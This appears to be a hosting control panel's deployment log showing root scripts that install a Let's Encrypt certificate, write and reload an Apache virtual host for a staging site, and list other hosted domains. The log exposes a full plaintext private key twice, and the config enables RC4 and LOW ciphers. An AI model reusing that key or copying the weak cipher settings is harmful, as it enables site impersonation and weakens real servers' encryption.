EwNSMTMwHhcNMjUxMjA4MDUwMTQ1WhcNMjYwMzA4MDUwMTQ0WjAmMSQwIgYDVQQD
ExtzdGFnZS50aGV5b3VuZ2Rlc2lnbmVycy5jb20wggEiMA0GCSqGSIb3DQEBAQUA
A4IBDwAwggEKAoIBAQCnaMn6Zo5xUEMvXSRz12spg6RuF9VBV6wfZ13Z1fMgir2N
3sQPtwLk+9r2vgTr9A2BZqffq5coK0d7O7laXjykcInLnB7hFK4WumWcFy64OSrA
DE/5+1hb5jbgoD+vcEtK/ZshbiKGJA/QV9iMmyOEfK1AaRNGbn1wvwlOhjv8n6be
yNkK7KphMBzJ3oybNY4VSLvoQMDKLhLaKmi7VjQcseXRQJJ6Hi8+gFaCYjqsDkjk
s7xZfqQ5mK660cVkmK/qcAqaQuGfm0bdT2iLflqb0+cXqJS6JPYOtnKG2ktM0rqv
IslElfOdVRI4AmSkf7k2GYpwSNkPhypCCF79SmrvAgMBAAGjggIqMIICJjAOBgNV
HQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1Ud
EwEB/wQCMAAwHQYDVR0OBBYEFDeYLGOYB8GcKUctI/ph8f3rKN36MB8GA1UdIwQY
MBaAFOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEF
BQcwAoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wJgYDVR0RBB8wHYIbc3RhZ2Uu
dGhleW91bmdkZXNpZ25lcnMuY29tMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1Ud
HwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvOTcuY3JsMIIBAwYK
KwYBBAHWeQIEAgSB9ASB8QDvAHUAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7V
A8l9zfAAAAGa/IvZ9AAABAMARjBEAiAMK4wNfmm9hse814jskuqv+RlndQPHTpQS
/ENaEpVDRwIgQvhJR1MNFF1BptpJn6xXY2+3JPj6qx9UhWzJ8/6l68IAdgDLOPcV
iXyEoURfW8Hd+8lu8ppZzUcKaQWFsMsUwxRY5wAAAZr8i9oJAAAEAwBHMEUCIQDX
PVPR4KKv+AgvkHybqcS8CcoBpR163CTGX6Yfi5sf6wIgcevDRHdM5s2tsZOVsDrC
ttWHe1ynRgvugwD8FOAOp0YwDQYJKoZIhvcNAQELBQADggEBAGf/wCO0k5fmy5a1
3puNzbHTXgZQ7HFc9GvZT+5kQ12SnVZpa04w7ylK7B2V77c4o5bGMQCQoqTS6psf
0fGNfGbdDmRfeBZndrGpF2wAUzn0fwLiFDNTUcyY1EWcHcLOeqogb6Pu7Uz8QgHC
L6N55ss3o//xbEMzOjy0n0oP37KK1mP4VZ3LPp8LRW8kwkU43uLFk4yL6Tz5JxxI
sxJ4TokTzDVmAYeONc1g9P7ujhKyyqD3amD+Tx03FvoHukmGEanrxneLSPBBSvy6
XmdlYrrHGjO7jn7inX80q9u3BPSBj3IhqdCgvCs6AU6Qgyq7hsc8xUdmzhYNZT+8
6qPcedI=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCnaMn6Zo5xUEMv
XSRz12spg6RuF9VBV6wfZ13Z1fMgir2N3sQPtwLk+9r2vgTr9A2BZqffq5coK0d7
O7laXjykcInLnB7hFK4WumWcFy64OSrADE/5+1hb5jbgoD+vcEtK/ZshbiKGJA/Q
V9iMmyOEfK1AaRNGbn1wvwlOhjv8n6beyNkK7KphMBzJ3oybNY4VSLvoQMDKLhLa
Kmi7VjQcseXRQJJ6Hi8+gFaCYjqsDkjks7xZfqQ5mK660cVkmK/qcAqaQuGfm0bd
T2iLflqb0+cXqJS6JPYOtnKG2ktM0rqvIslElfOdVRI4AmSkf7k2GYpwSNkPhypC
CF79SmrvAgMBAAECggEAAhGvfWLLG+dsDSfPjYb6EhdIbvvobNhSjkjOxiR4zswo
L5qzPaZ7aK0cNbR/hxMLH7BPHtqWEa8HQSSp084aXcXuTg/t6cZBqJJBMz6uGyTJ
vHnqeyJ6IxijUP9qChcPNywPQMiFsLa9Y0vSp1o7hCWuVn9194biEgSqbsgF8cda
QB0Pvi/7+/UnQ9on03cZIoze/A+zyT+W7Zb0B9rMlxeDVcGtpnZYfIR2dmyihk9Y
95jkj5ypPpT1HzVfvoLrR7ZtuiaKdipDaUv/74Sn9+ABfTpM/wnCicz0PiOnXkqz
3MOdE7WkoTGL5VRnG8l8pZKGp9p1MQpnOaR3iKQaUQKBgQDUtGpFRUHcqlTAs74f
QE/O96mPIJMO6YCnLerFR4w/Jk3yAPJJ1l2JFM6prsq4on8SqH5347Y0jDFl3Jw9
2NV0Cb3drQF0w8KGG8uiFfvBLvDnidzwW4auRjLKM3ehg6K4DO789ku/YD5DeBjK
tR8jJCRLCUy0l/HFEXpcxSR64wKBgQDJfCCtSyBR113RVsiqydrPqVBPQDE4NtcV
VbBFpXZhFfZ245SiWm4tKMMQavLcws4EogUti4UpwO9HjSTLN3vfZEO8OutELmwq
dJW3cOYASiElFwb9EocG0ORa3Tc0O5MzeUgTUJc2gKsBrDkbdI/bRCe+VZD8za1U
vZws2hSRhQKBgAOgE5Ocq5O0P3+NULc9pF6VsAkld/wwFKZEzRSRtJ067OcsBvUl
NzDn7uHLfd8Jvfq2bnlioy9gGFNxICSZtoGkzNyjXzv7PiyE+sKHd2QChc6cdeyO
0svTnHf/ypExKivS5JvhIsdfP5Bs0pdZ4O77Zbb1sJ3/XPqL4rcEESwbAoGAdoH2
6lacvOZyvRVRU/sEI05P+T0ldg3zdg3/bweCWFpFq+nx24ha817dVMPC8wv1hw4R
A5fjjAp58tjWwlxxFJTxrj3tcR3o6xPFl67k6ViwpBMmPiXum5i0J6mjtaowy37T
YODu/9SwQHye3kIx9uLgiXfknn0PLR+VQ2BF5s0CgYA/8u6YI0Fjo0jq04QT7cdE
z07kM1wd+Vov2nGKbZSAUKUsIR2695npiuNGw2DAB9yGCTO17/DQW2bp4giBs0Ta
nSXGHPzKg5K9hyCyighLfzsodH0C+T6eurtSKvUZt1lfTXoV8QlrB7iIQNyvNFQg
OUD9MYQn+kgJT09c2ax3cQ==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-12-08 06:00:19:
chmod 755 /tmp/pkp702294; /tmp/pkp702294; rm /tmp/pkp702294
2025-12-08 06:00:19:
dir=/etc/ssl/certs
2025-12-08 06:00:19:
PUT: /tmp/pkp181393
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/theyoungdesigners_stage.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-12-08 06:00:20:
chmod 755 /tmp/pkp181393; /tmp/pkp181393; rm /tmp/pkp181393
2025-12-08 06:00:20:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/theyoungdesigners_stage.conf 47
<VirtualHost *:80>
ServerName stage.theyoungdesigners.com
ServerAdmin do_not_email@example.com
DocumentRoot /mnt/internal/www/theyoungdesigners_stage/public
<Directory /mnt/internal/www/theyoungdesigners_stage>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
</Directory>
CustomLog /var/log/apache2/theyoungdesigners/www_access.log combined
ErrorLog /var/log/apache2/theyoungdesigners/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName stage.theyoungdesigners.com
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/71986a4933a5df06d6ba64d41a00e6e1.crt
DocumentRoot /mnt/internal/www/theyoungdesigners_stage/public
<Directory /mnt/internal/www/theyoungdesigners_stage/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
</Directory>
CustomLog /var/log/apache2/theyoungdesigners/stage_secure_access.log combined
ErrorLog /var/log/apache2/theyoungdesigners/stage_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-08 06:00:20:
PUT: /tmp/pkp909050
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=theyoungdesigners_stage.conf
TARGET=/etc/apache2/sites-enabled/theyoungdesigners_stage.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName stage.theyoungdesigners.com
ServerAdmin do_not_email@example.com
DocumentRoot /mnt/internal/www/theyoungdesigners_stage/public
<Directory /mnt/internal/www/theyoungdesigners_stage>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
</Directory>
CustomLog /var/log/apache2/theyoungdesigners/www_access.log combined
ErrorLog /var/log/apache2/theyoungdesigners/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName stage.theyoungdesigners.com
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/71986a4933a5df06d6ba64d41a00e6e1.crt
DocumentRoot /mnt/internal/www/theyoungdesigners_stage/public
<Directory /mnt/internal/www/theyoungdesigners_stage/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
</Directory>
CustomLog /var/log/apache2/theyoungdesigners/stage_secure_access.log combined
ErrorLog /var/log/apache2/theyoungdesigners/stage_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/theyoungdesigners_stage.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/theyoungdesigners_stage.conf)= /etc/apache2//etc/apache2/sites-enabled/theyoungdesigners_stage.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/theyoungdesigners_stage.conf= 1'
fi
2025-12-08 06:00:20:
chmod 755 /tmp/pkp909050; /tmp/pkp909050; rm /tmp/pkp909050
2025-12-08 06:00:20:
2025-12-08 06:00:20:
PUT: /tmp/pkp165659
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-12-08 06:00:21:
chmod 755 /tmp/pkp165659; /tmp/pkp165659; rm /tmp/pkp165659
2025-12-08 06:00:21:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-08 06:00:21: Establishing a connection
2025-12-08 06:00:22:
PUT: /tmp/pkp828321
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-12-08 06:00:23:
chmod 755 /tmp/pkp828321; /tmp/pkp828321; rm /tmp/pkp828321
2025-12-08 06:00:23:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost cityelectric.online (/etc/apache2/sites-enabled/cityelectric_www_online.conf:2)
port 80 namevhost cdn4.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf:2)
port 80 namevhost alive.pjy.us (/etc/apache2/sites-enabled/pjy_alive_us.conf:2)
port 80 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:2)
port 80 namevhost stage.theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_stage.conf:2)
*:443 is a NameVirtualHost
default server cityelectric.online (/etc/apache2/sites-enabled/cityelectric_www_online.conf:19)
port 443 namevhost cityelectric.online (/etc/apache2/sites-enabled/cityelectric_www_online.conf:19)
port 443 namevhost cdn4.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf:18)
port 443 namevhost alive.pjy.us (/etc/apache2/sites-enabled/pjy_alive_us.conf:19)
port 443 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:22)
port 443 namevhost stage.theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_stage.conf:18)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-08 06:00:23:
PUT: /tmp/pkp105576
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/theyoungdesigners_stage.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-08 06:00:24:
chmod 755 /tmp/pkp105576; /tmp/pkp105576; rm /tmp/pkp105576
2025-12-08 06:00:24:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/theyoungdesigners_stage.conf 1303
<VirtualHost *:80>
ServerName stage.theyoungdesigners.com
ServerAdmin do_not_email@example.com
DocumentRoot /mnt/internal/www/theyoungdesigners_stage/public
<Directory /mnt/internal/www/theyoungdesigners_stage>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
</Directory>
CustomLog /var/log/apache2/theyoungdesigners/www_access.log combined
ErrorLog /var/log/apache2/theyoungdesigners/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName stage.theyoungdesigners.com
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/71986a4933a5df06d6ba64d41a00e6e1.crt
DocumentRoot /mnt/internal/www/theyoungdesigners_stage/public
<Directory /mnt/internal/www/theyoungdesigners_stage/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
</Directory>
CustomLog /var/log/apache2/theyoungdesigners/stage_secure_access.log combined
ErrorLog /var/log/apache2/theyoungdesigners/stage_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-08 06:00:24:
PUT: /tmp/pkp513225
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/71986a4933a5df06d6ba64d41a00e6e1.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-08 06:00:24:
chmod 755 /tmp/pkp513225; /tmp/pkp513225; rm /tmp/pkp513225
2025-12-08 06:00:25:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/71986a4933a5df06d6ba64d41a00e6e1.crt 5381
11:b4:b1:4a:47:d6:d5:c0:32:a7:a0:60:73:cc:b4:bd
-----BEGIN CERTIFICATE-----
MIIFETCCA/mgAwIBAgISBV903uotjLty333d0WfSiVfgMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjA4MDUwMTQ1WhcNMjYwMzA4MDUwMTQ0WjAmMSQwIgYDVQQD
ExtzdGFnZS50aGV5b3VuZ2Rlc2lnbmVycy5jb20wggEiMA0GCSqGSIb3DQEBAQUA
A4IBDwAwggEKAoIBAQCnaMn6Zo5xUEMvXSRz12spg6RuF9VBV6wfZ13Z1fMgir2N
3sQPtwLk+9r2vgTr9A2BZqffq5coK0d7O7laXjykcInLnB7hFK4WumWcFy64OSrA
DE/5+1hb5jbgoD+vcEtK/ZshbiKGJA/QV9iMmyOEfK1AaRNGbn1wvwlOhjv8n6be
yNkK7KphMBzJ3oybNY4VSLvoQMDKLhLaKmi7VjQcseXRQJJ6Hi8+gFaCYjqsDkjk
s7xZfqQ5mK660cVkmK/qcAqaQuGfm0bdT2iLflqb0+cXqJS6JPYOtnKG2ktM0rqv
IslElfOdVRI4AmSkf7k2GYpwSNkPhypCCF79SmrvAgMBAAGjggIqMIICJjAOBgNV
HQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1Ud
EwEB/wQCMAAwHQYDVR0OBBYEFDeYLGOYB8GcKUctI/ph8f3rKN36MB8GA1UdIwQY
MBaAFOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEF
BQcwAoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wJgYDVR0RBB8wHYIbc3RhZ2Uu
dGhleW91bmdkZXNpZ25lcnMuY29tMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1Ud
HwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvOTcuY3JsMIIBAwYK
KwYBBAHWeQIEAgSB9ASB8QDvAHUAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7V
A8l9zfAAAAGa/IvZ9AAABAMARjBEAiAMK4wNfmm9hse814jskuqv+RlndQPHTpQS
/ENaEpVDRwIgQvhJR1MNFF1BptpJn6xXY2+3JPj6qx9UhWzJ8/6l68IAdgDLOPcV
iXyEoURfW8Hd+8lu8ppZzUcKaQWFsMsUwxRY5wAAAZr8i9oJAAAEAwBHMEUCIQDX
PVPR4KKv+AgvkHybqcS8CcoBpR163CTGX6Yfi5sf6wIgcevDRHdM5s2tsZOVsDrC
ttWHe1ynRgvugwD8FOAOp0YwDQYJKoZIhvcNAQELBQADggEBAGf/wCO0k5fmy5a1
3puNzbHTXgZQ7HFc9GvZT+5kQ12SnVZpa04w7ylK7B2V77c4o5bGMQCQoqTS6psf
0fGNfGbdDmRfeBZndrGpF2wAUzn0fwLiFDNTUcyY1EWcHcLOeqogb6Pu7Uz8QgHC
L6N55ss3o//xbEMzOjy0n0oP37KK1mP4VZ3LPp8LRW8kwkU43uLFk4yL6Tz5JxxI
sxJ4TokTzDVmAYeONc1g9P7ujhKyyqD3amD+Tx03FvoHukmGEanrxneLSPBBSvy6
XmdlYrrHGjO7jn7inX80q9u3BPSBj3IhqdCgvCs6AU6Qgyq7hsc8xUdmzhYNZT+8
6qPcedI=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCnaMn6Zo5xUEMv
XSRz12spg6RuF9VBV6wfZ13Z1fMgir2N3sQPtwLk+9r2vgTr9A2BZqffq5coK0d7
O7laXjykcInLnB7hFK4WumWcFy64OSrADE/5+1hb5jbgoD+vcEtK/ZshbiKGJA/Q
V9iMmyOEfK1AaRNGbn1wvwlOhjv8n6beyNkK7KphMBzJ3oybNY4VSLvoQMDKLhLa
Kmi7VjQcseXRQJJ6Hi8+gFaCYjqsDkjks7xZfqQ5mK660cVkmK/qcAqaQuGfm0bd
T2iLflqb0+cXqJS6JPYOtnKG2ktM0rqvIslElfOdVRI4AmSkf7k2GYpwSNkPhypC
CF79SmrvAgMBAAECggEAAhGvfWLLG+dsDSfPjYb6EhdIbvvobNhSjkjOxiR4zswo
L5qzPaZ7aK0cNbR/hxMLH7BPHtqWEa8HQSSp084aXcXuTg/t6cZBqJJBMz6uGyTJ
vHnqeyJ6IxijUP9qChcPNywPQMiFsLa9Y0vSp1o7hCWuVn9194biEgSqbsgF8cda
QB0Pvi/7+/UnQ9on03cZIoze/A+zyT+W7Zb0B9rMlxeDVcGtpnZYfIR2dmyihk9Y
95jkj5ypPpT1HzVfvoLrR7ZtuiaKdipDaUv/74Sn9+ABfTpM/wnCicz0PiOnXkqz
3MOdE7WkoTGL5VRnG8l8pZKGp9p1MQpnOaR3iKQaUQKBgQDUtGpFRUHcqlTAs74f
QE/O96mPIJMO6YCnLerFR4w/Jk3yAPJJ1l2JFM6prsq4on8SqH5347Y0jDFl3Jw9
2NV0Cb3drQF0w8KGG8uiFfvBLvDnidzwW4auRjLKM3ehg6K4DO789ku/YD5DeBjK
tR8jJCRLCUy0l/HFEXpcxSR64wKBgQDJfCCtSyBR113RVsiqydrPqVBPQDE4NtcV
VbBFpXZhFfZ245SiWm4tKMMQavLcws4EogUti4UpwO9HjSTLN3vfZEO8OutELmwq
dJW3cOYASiElFwb9EocG0ORa3Tc0O5MzeUgTUJc2gKsBrDkbdI/bRCe+VZD8za1U
vZws2hSRhQKBgAOgE5Ocq5O0P3+NULc9pF6VsAkld/wwFKZEzRSRtJ067OcsBvUl
NzDn7uHLfd8Jvfq2bnlioy9gGFNxICSZtoGkzNyjXzv7PiyE+sKHd2QChc6cdeyO
0svTnHf/ypExKivS5JvhIsdfP5Bs0pdZ4O77Zbb1sJ3/XPqL4rcEESwbAoGAdoH2
6lacvOZyvRVRU/sEI05P+T0ldg3zdg3/bweCWFpFq+nx24ha817dVMPC8wv1hw4R
A5fjjAp58tjWwlxxFJTxrj3tcR3o6xPFl67k6ViwpBMmPiXum5i0J6mjtaowy37T
YODu/9SwQHye3kIx9uLgiXfknn0PLR+VQ2BF5s0CgYA/8u6YI0Fjo0jq04QT7cdE
z07kM1wd+Vov2nGKbZSAUKUsIR2695npiuNGw2DAB9yGCTO17/DQW2bp4giBs0Ta
nSXGHPzKg5K9hyCyighLfzsodH0C+T6eurtSKvUZt1lfTXoV8QlrB7iIQNyvNFQg
OUD9MYQn+kgJT09c2ax3cQ==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
